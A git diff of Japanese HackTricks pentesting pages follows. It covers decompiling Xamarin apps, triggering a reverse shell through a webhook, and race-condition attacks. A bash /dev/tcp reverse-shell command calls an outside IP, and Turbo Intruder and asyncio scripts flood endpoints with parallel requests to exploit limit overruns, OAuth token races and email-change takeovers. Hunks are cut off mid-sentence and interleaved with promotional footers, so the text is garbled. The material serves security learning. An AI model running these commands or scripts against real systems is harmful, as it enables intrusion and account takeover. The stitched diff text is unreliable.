逆コンパイルは、コンパイルされたコードからソースコードを生成するプロセスです。メモリに現在存在するアセンブリと実行可能ファイルに関する情報を入手するために、Windowsは非常に便利です。
|
||||
|
||||
モジュールウィンドウを開くには、デバッグ>ウィンドウ>モジュールを選択します。逆コンパイルが必要なモジュールを検出したら、右クリックして「ソースをシンボルファイルにデコンパイル」を選択します。この操作により、ソースコードが含まれるシンボルファイルが作成され、それによってソースコードから直接サードパーティのコードに入ることができます。
|
||||
モジュールウィンドウを開くには、デバッグ>ウィンドウ>モジュールを選択します。逆コンパイルが必要なモジュールを検出したら、右クリックして「ソースをシンボルファイルに逆コンパイル」を選択します。この操作により、ソースコードが含まれるシンボルファイルが作成され、それによってソースコードから直接サードパーティのコードに入ることができます。
|
||||
|
||||
**Visual Studio**は、シンボルがなくても管理されたコードを逆コンパイルし、コードを表示したり、変数を検査したり、ブレークポイントを設定したりすることができます。ソースコードをディスクに抽出するには、埋め込まれたソースを持つモジュールで右クリックし、「埋め込まれたソースを抽出」をクリックします。これにより、ソースファイルがさらなる分析のためにMiscellaneous filesフォルダにエクスポートされます。
|
||||
**Visual Studio**は、シンボルがなくてもマネージドコードを逆コンパイルし、コードを表示したり、変数を検査したり、ブレークポイントを設定したりすることができます。ソースコードをディスクに抽出するには、埋め込まれたソースを持つモジュールで右クリックし、「埋め込まれたソースを抽出」をクリックします。これにより、ソースファイルがさらなる分析のためにMiscellaneous filesフォルダにエクスポートされます。
|
||||
|
||||
### XamarinアプリのJITとAOTコンパイル
|
||||
|
||||
|
@ -66,13 +66,12 @@ Xamarin.iOSアプリケーションは、Monoランタイム環境で実行さ
|
|||
\- **iOS**:iOSの場合、**ahead-of-timeコンパイル**のオプションは1つだけです。これは、Appleのポリシーにより、デバイス上で動的に生成されたコードの実行が禁止されているためです。
|
||||
|
||||
{% hint style="info" %}
|
||||
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルからdllファイルを抽出する追加の手順が必要です。ハイブリッドAOTコンパイルされたアプリで、ILファイルがアプリバンドルにまだ保持されている場合、それを使用してアプリケーションを逆コンパイルすることができます。
|
||||
{% endhint
|
||||
フルAOTコンパイルされたアプリケーションに遭遇し、開発者がビルドサイズを減らすためにILアセンブリファイルを削除した場合、リバースエンジニアリングにはlibフォルダの.dll.soファイルまたは`libmonodroid_bundle_app.so`ファイルからdllファイルを抽出する追加の手順が必要です。ハイブリッドAOTコンパイルされたアプリで、ILファイルがアプリバンドルにまだ保持されている場合、それを使用してアプリケーションをリバースエ
|
||||
## APK/IPAからdllファイルを取得する
|
||||
|
||||
単にapk/ipaファイルを解凍し、assembliesディレクトリの下に存在するすべてのファイルをコピーします。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Androidの場合、これらのdllファイルは圧縮されており、直接脱コンパイルに使用することはできません。幸いなことに、[XamAsmUnZ](https://github.com/cihansol/XamAsmUnZ)や[xamarin-decompress](https://github.com/NickstaDB/xamarin-decompress)などのツールを使用してこれらのdllファイルを解凍することができます。
|
||||
```
|
||||
|
@ -80,9 +79,9 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
|||
```
|
||||
iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラに読み込むことができます**(何も解凍する必要はありません)。
|
||||
|
||||
**dllファイルをデコンパイルすると、ほとんどのアプリケーションコードが見つかります。**また、Xamarinフレームワークベースのアプリは、iOSやAndroidなどのすべてのプラットフォームのビルドに共通のコードの90%を含んでいます。
|
||||
**dllファイルをデコンパイルすると、ほとんどのアプリケーションコードが見つかります**。また、Xamarin Frameworkベースのアプリは、iOSやAndroidなどのすべてのプラットフォームのビルドに共通のコードの90%を含んでいます。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
上記のスクリーンショットは、apkに存在するdllファイルのリストですが、これがXamarinアプリであることを確認できます。`Xamarin.Essentails.dll`や`Mono.Security.dll`など、アプリの実行に必要なアプリ固有のdllファイルとライブラリファイルが含まれています。
|
||||
|
||||
|
@ -108,10 +107,10 @@ iOSの場合、IPAファイル内の**dllファイルは直接デコンパイラ
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -38,18 +38,18 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
|
|||
* 変更を保存する
|
||||
* 生成されたWebHook URLを取得する:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* curlを使用して呼び出し、リバースシェルを受け取るはずです
|
||||
* curlを使用して呼び出し、revシェルを受け取るはずです
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -3,7 +3,7 @@
|
|||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -13,54 +13,69 @@
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングのトリックを共有するには、PRを**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## 回数制限によって制約されるもの
|
||||
## RCの悪用
|
||||
|
||||
レースコンディションは、**アクションの実行回数が制限されている**ウェブサイトで**発生する脆弱性**です。非常に簡単な例は、[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)で見つけることができます。
|
||||
RCの悪用の主な問題は、リクエストが非常に短い時間差(通常> 1ms)で並行して処理される必要があることです。次のセクションでは、これを可能にするためのさまざまな解決策が提案されています。
|
||||
|
||||
## 一度だけ使用できるコードを複数回使用する
|
||||
<figure><img src="../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ウェブページに一度だけ行うべき**アクション**を実行しますが、そのアクションを**複数回**実行すると**利益を得る**ことができる場合、**レースコンディション**を試す必要があります。\
|
||||
ほとんどの場合、これは**お金**に直接関係しています(アクションが実行されるとXのお金を得るため、非常に速く複数回実行しましょう)。
|
||||
### シングルパケット攻撃
|
||||
|
||||
### 同じアカウントから同じコードを複数回使用する
|
||||
HTTP2では、**1つのTCP接続で2つのリクエストを送信**できます(HTTP/1.1ではシーケンシャルである必要があります)。\
|
||||
シングルパケットの使用により、ネットワークの揺らぎの影響が完全に**排除**されるため、これは明らかにレースコンディション攻撃の可能性があります。ただし、**2つのリクエストでは信頼性のあるレース攻撃には十分ではありません**。これは、**サーバーサイドの揺らぎ**によるものです。これは、CPUの競合などの制御できない変数によって引き起こされるアプリケーションのリクエスト処理時間の変動です。
|
||||
|
||||
例えば、[**このバグ**](https://hackerone.com/reports/759247)では、ハンターが**ギフトカードにお金を複数回ロード**することができました。
|
||||
しかし、HTTP/1.1の '**last-byte sync**' 技術を使用すると、各リクエストからわずかなフラグメントを保留し、その後、**1つのTCPパケットで20〜30のリクエストを完了**することができます。
|
||||
|
||||
以下は、上記の解説で使用された**turbo intruder**スクリプトです。
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
concurrentConnections=30,
|
||||
requestsPerConnection=30,
|
||||
pipeline=False
|
||||
)
|
||||
**各リクエストの大部分を事前に送信**するには:
|
||||
|
||||
for i in range(30):
|
||||
engine.queue(target.req, i)
|
||||
engine.queue(target.req, target.baseInput, gate='race1')
|
||||
- リクエストにボディがない場合、すべてのヘッダーを送信しますが、END\_STREAMフラグは設定しないでください。END\_STREAMが設定された空のデータフレームを保留します。
|
||||
- リクエストにボディがある場合、ヘッダーと最後のバイトを除くすべてのボディデータを送信します。最後のバイトを含むデータフレームを保留します。
|
||||
|
||||
次に、**最終フレームの送信の準備**をします:
|
||||
|
||||
engine.start(timeout=5)
|
||||
engine.openGate('race1')
|
||||
- 初期フレームが送信されたことを確認するために、100ms待ちます。
|
||||
- TCP\_NODELAYが無効になっていることを確認します。Nagleのアルゴリズムが最終フレームをバッチ処理することが重要です。
|
||||
- ローカル接続をウォームアップするためにpingパケットを送信します。これを行わないと、OSネットワークスタックは最初の最終フレームを別のパケットに配置します。
|
||||
|
||||
engine.complete(timeout=60)
|
||||
最後に、保留していたフレームを送信します。Wiresharkを使用して、それらが1つのパケットに着地したことを確認できるはずです。
|
||||
|
||||
{% hint style="info" %}
|
||||
特定のサーバーの静的ファイルでは機能しませんが、静的ファイルはレースコンディション攻撃には関係ありません。しかし、静的ファイルはRC攻撃には関係ありません。
|
||||
{% endhint %}
|
||||
|
||||
def handleResponse(req, interesting):
|
||||
table.add(req)
|
||||
```
|
||||
BURPを使用して、**リクエスト**を**Intruder**に送信し、**オプションメニュー**内で**スレッド数**を**30**に設定し、ペイロードとして**Null payloads**を選択し、**30**を生成します。
|
||||
この技術を使用すると、ネットワークの揺らぎに関係なく、20〜30のリクエストがサーバーに同時に到着することができます。
|
||||
|
||||
### **異なるアカウントから同じコードを使用する**
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**以前の提案がうまくいかなかった場合(同じアカウントから何度も同じコードを使用してみてください)バリアントを試してみてください: 異なるアカウントから同じコードを使用してみてください:**
|
||||
**ターゲットアーキテクチャに適応する**
|
||||
|
||||
多くのアプリケーションはフロントエンドサーバーの背後にあり、これらは一部のリクエストを既存の接続を介してバックエンドに転送し、他のリクエストに対しては新しい接続を作成することを決定する場合があります。
|
||||
|
||||
その結果、アプリケーションの動作に一貫性のないリクエストタイミングを帰属しないようにすることが重要です。また、フロントエンドのリクエストルーティングは通常、接続ごとに行われるため、攻撃を実行する前にいくつかの無関係なリクエストをサーバーサイドで行うことで、リクエストのタイミングをスムーズにすることができる場合があります。
|
||||
|
||||
PHPはデフォルトでセッションIDに対してロックをかけるため、バッチ内のすべてのリクエストに**別々のセッションを使用**する必要があります。そうしないと、リクエストは順次処理されます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
この技術の詳細については、[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)の元のレポートを参照してください。
|
||||
{% endhint %}
|
||||
|
||||
#### 例
|
||||
|
||||
この技術の使用方法については、[https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py](https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race-single-packet-attack.py)のturbo intruderの単純な例を確認できます。
|
||||
|
||||
また、Burp SuiteのRepeaterでは、新しい '**Send group in parallel**' オプションを使用して利用できます。
|
||||
### Raw BF
|
||||
|
||||
以前の研究の前に、以下のペイロードが使用されました。これらは、RCを引き起こすために可能な限り速くパケットを送信しようとするものです。
|
||||
|
||||
* **Turbo Intruder**
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
|
@ -79,38 +94,7 @@ engine.complete(timeout=60)
|
|||
def handleResponse(req, interesting):
|
||||
table.add(req)
|
||||
```
|
||||
### Pythonを使用する
|
||||
|
||||
Race conditions(競合状態)は、複数のプロセスまたはスレッドが同時に共有リソースにアクセスすることで発生するセキュリティ上の脆弱性です。Pythonを使用して競合状態を利用する方法を以下に示します。
|
||||
|
||||
```python
|
||||
import requests
|
||||
import threading
|
||||
|
||||
def race_condition(url):
|
||||
response = requests.get(url)
|
||||
if response.status_code == 200:
|
||||
print("Success")
|
||||
else:
|
||||
print("Failure")
|
||||
|
||||
def exploit_race_condition(url):
|
||||
threads = []
|
||||
for _ in range(10):
|
||||
thread = threading.Thread(target=race_condition, args=(url,))
|
||||
threads.append(thread)
|
||||
thread.start()
|
||||
|
||||
for thread in threads:
|
||||
thread.join()
|
||||
|
||||
url = "http://example.com"
|
||||
exploit_race_condition(url)
|
||||
```
|
||||
|
||||
このPythonスクリプトでは、`race_condition`関数が共有リソースにアクセスし、`exploit_race_condition`関数が複数のスレッドを作成して同時に`race_condition`関数を実行します。これにより、競合状態が発生し、リソースへのアクセスが争われます。
|
||||
|
||||
このスクリプトを実行すると、`race_condition`関数が同時に実行されるため、リソースへのアクセスが競合し、成功または失敗の結果が出力されます。
|
||||
* **Python - asyncio**
|
||||
```python
|
||||
import asyncio
|
||||
import httpx
|
||||
|
@ -138,41 +122,85 @@ print(results)
|
|||
|
||||
asyncio.run(main())
|
||||
```
|
||||
## OAuth2永続的な永続性
|
||||
* **侵入者**: **リクエスト**を**侵入者**に送信し、**オプションメニュー**内で**スレッド数**を**30**に設定し、**Nullペイロード**を選択して**30**を生成します。
|
||||
|
||||
いくつかの[**OAuthプロバイダ**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)があります。これらのサービスは、プロバイダが登録したユーザーを認証し、アプリケーションにアクセスを許可することができます。そのためには、**クライアント**が**アプリケーションにアクセスを許可**する必要があります。\
|
||||
したがって、ここまでは、Google/LinkedIn/GitHubなどの一般的なログインで、以下のようなページが表示されます: "_Application \<InsertCoolName> があなたの情報にアクセスすることを希望しています。許可しますか?_"
|
||||
## **RC方法論**
|
||||
|
||||
#### `authorization_code`における競合状態
|
||||
|
||||
**問題**は、**それを許可する**と、悪意のあるアプリケーションに**自動的に`authorization_code`**が送信されるときに発生します。その後、この**アプリケーションはOAuthサービスプロバイダの競合状態を悪用して、`authorization_code`から複数のAT/RT**(_認証トークン/リフレッシュトークン_)を生成します。基本的には、あなたがアプリケーションがデータにアクセスすることを許可したことを悪用して、**複数のアカウントを作成**します。その後、**アプリケーションにデータへのアクセスを許可しなくなると、1組のAT/RTは削除されますが、他のものは有効のまま**です。
|
||||
|
||||
#### `Refresh Token`における競合状態
|
||||
## **RCの影響**
|
||||
|
||||
有効なRTを**取得した後**、それを悪用して複数のAT/RTを生成しようとすることができます。そして、ユーザーが悪意のあるアプリケーションに対してアクセス許可をキャンセルしても、**複数のRTは有効のまま**です。
|
||||
### リミットオーバーラン
|
||||
|
||||
## 参考文献
|
||||
これは、**アクションを実行できる回数を制限する場所**に**現れる脆弱性**がある最も基本的なタイプの競合状態です。たとえば、ウェブストアで同じ割引コードを複数回使用することです。[**このレポート**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)や[**このバグ**](https://hackerone.com/reports/759247)****には、非常に簡単な例があります。
|
||||
|
||||
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||||
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||||
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
|
||||
### **隠れたサブステート**
|
||||
|
||||
<details>
|
||||
他の最も複雑なRCは、攻撃者がアクセスすることを意図されていなかった状態を悪用する可能性のある**マシンのサブステート**を利用しますが、攻撃者がアクセスするための**小さなウィンドウ**があります。
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
1. **潜在的な隠れた興味深いサブステートを予測する**
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||||
* **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
|
||||
最初のステップは、それに書き込むか、それからデータを読み取り、それを重要な何かに使用するすべてのエンドポイントを特定することです。たとえば、ユーザーは登録、プロファイル編集、パスワードリセットの開始、パスワードリセットの完了によって変更されるデータベーステーブルに保存される場合があります。
|
||||
|
||||
エンドポイントごとに、以下の3つの重要な質問を使用して、衝突が起こりにくいエンドポイントを除外できます。各オブジェクトと関連するエンドポイントについて、次のように尋ねます。
|
||||
|
||||
**1) 状態はどのように保存されていますか?**
|
||||
|
||||
永続的なサーバーサイドのデータ構造に保存されているデータは、悪用に適しています。一部のエンドポイントは、パスワードリセットなど、JWTをメールで送信することによって動作するように、完全にクライアントサイドに状態を保存します。これらは安全にスキップできます。
|
||||
|
||||
アプリケーションは、ユーザーセッションに一部の状態を保存することがよくあります。これらは通常、サブステートに対してある程度保護されています - これについては後で詳しく説明します。
|
||||
|
||||
**2) 編集または追加していますか?**
|
||||
|
||||
既存のデータを編集する操作(アカウントの主なメールアドレスを変更するなど)は、十分な衝突の可能性がありますが、既存のデータに追加するだけの操作(追加のメールアドレスを追加するなど)は、リミットオーバーラン攻撃以外の脆弱性に対しては脆弱性がありません。
|
||||
|
||||
**3) 操作は何にキー付けられていますか?**
|
||||
|
||||
ほとんどのエンドポイントは、ユーザ名、パスワードリセットトークン、ファイル名などの「キー」を使用して特定のレコードで操作します。成功した攻撃には、同じキーを使用する2つの操作が必要です。たとえば、2つの考えられるパスワードリセットの実装を想像してみてください。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. **手がかりを探る**
|
||||
|
||||
この時点で、潜在的に興味深いエンドポイントに対していくつかのRC攻撃を実行して、通常のものと比較して予期しない結果を見つけようとします。応答の変化や、異なるメールの内容やセッションの目に見える変化など、予想される応答からの逸脱は、何かが間違っていることを示す手がかりになる可能性があります。
|
||||
|
||||
3. **コンセプトを証明する**
|
||||
|
||||
最後のステップは、コンセプトを証明し、攻撃を実行可能なものにすることです。
|
||||
|
||||
一括リクエストを送信すると、初期のリクエストペアが脆弱なエンドステートをトリガーする場合がありますが、後のリクエストがそれを上書き/無効にし、最終的な状態は攻撃できない状態になります。このシナリオでは、不要なリクエストをすべて削除する必要があります - 2つのリクエストでほとんどの脆弱性を悪用できます。ただし、2つのリクエストにすると、攻撃はタイミングに敏感になるため、攻撃を複数回リトライするか、自動化する必要がある場合があります。
|
||||
|
||||
## 隠れたサブステートの事例研究
|
||||
|
||||
### 商品の支払いと追加
|
||||
|
||||
[**このラボ**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)をチェックして、**支払い**を行い、**追加のアイテム**を追加して**支払う必要がない**ことを確認してください。
|
||||
|
||||
### 他のメールの確認
|
||||
|
||||
アイデアは、**メールアドレスを確認し、同時に変更**して、プラットフォームが新しいメールアドレスを確認するかどうかを確認することです。
|
||||
|
||||
### 2つのメールアドレスにメールを変更
|
||||
|
||||
[**この解説**](https://portswigger.net/research/smashing-the-state-machine)によると、Gitlabはこの方法で乗っ取られる可能性がありました。なぜなら、Gitlabは**1つのメールのメール確認トークンを他のメールに送信**する可能性があるからです。
|
||||
|
||||
### OAuth2の永続性
|
||||
|
||||
いくつかの[**OAuthプロバイダ**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers)があります。これらのサービスは、プロバイダが登録したユーザーを認証し、アプリケーションがそのデータにアクセスすることを許可するために、**クライアント**が**OAUthプロバイダ**内の一部のデータにアクセスすることを許可する必要があります。\
|
||||
したがって、ここまでは、Google/Linkdin/Githubなどの一般的なログインで、次のようなページが表示されます: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
|
||||
|
||||
#### `authorization_code`の競合状態
|
||||
|
||||
**問題**は、**それを受け入れ**、自動的に**`authorization_code`**を悪意のあるアプリケーションに送信すると発生します。その後、この**アプリケーションはOAUthサービスプロバイダ内の競合状態を悪用して、`authorization_code`から複数のAT/RT**(_認証トークン/リフレッシ
|
||||
* [💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、Twitterで私をフォローする[🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/hacktricks\_live)。
|
||||
* ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (2).png>)
|
||||
|
||||
\
|
||||
